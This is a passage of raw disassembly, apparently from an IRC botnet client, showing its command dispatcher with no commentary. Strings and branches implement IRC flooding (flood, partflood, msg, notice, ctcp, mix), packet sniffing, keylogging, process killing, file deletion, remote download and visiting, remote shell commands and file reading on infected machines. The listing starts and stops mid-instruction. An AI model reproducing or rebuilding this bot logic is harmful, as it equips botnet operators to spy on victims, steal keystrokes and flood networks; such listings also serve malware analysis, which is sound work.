[ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5DC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2670F10h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j call near ptr 26807C8h nop push eax push offset unk_42B59C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE nop call near ptr 26905FEh push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B534 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B530 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B518 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B504 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 26905FEh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B494 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B480 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B47C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF nop call near ptr 26905FEh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B454 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B40C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3F4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B40C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D403C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB03C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA75C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B37C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B27C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B24C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h call near ptr 2670F10h nop jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 26807C8h push eax push offset dword_42B210 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1D4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B1A8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B180 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B150 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h call near ptr 2670F10h nop jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj call near ptr 26807C8h nop push eax push offset unk_42B114 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0D4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B0A4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B07C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B050 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call near ptr 2680000h nop imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz loc_40828B nop call near ptr 26807C8h push eax push offset dword_42B01C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFE4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AFC4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF78 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF4C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AF2C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AF08 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx nop call near ptr 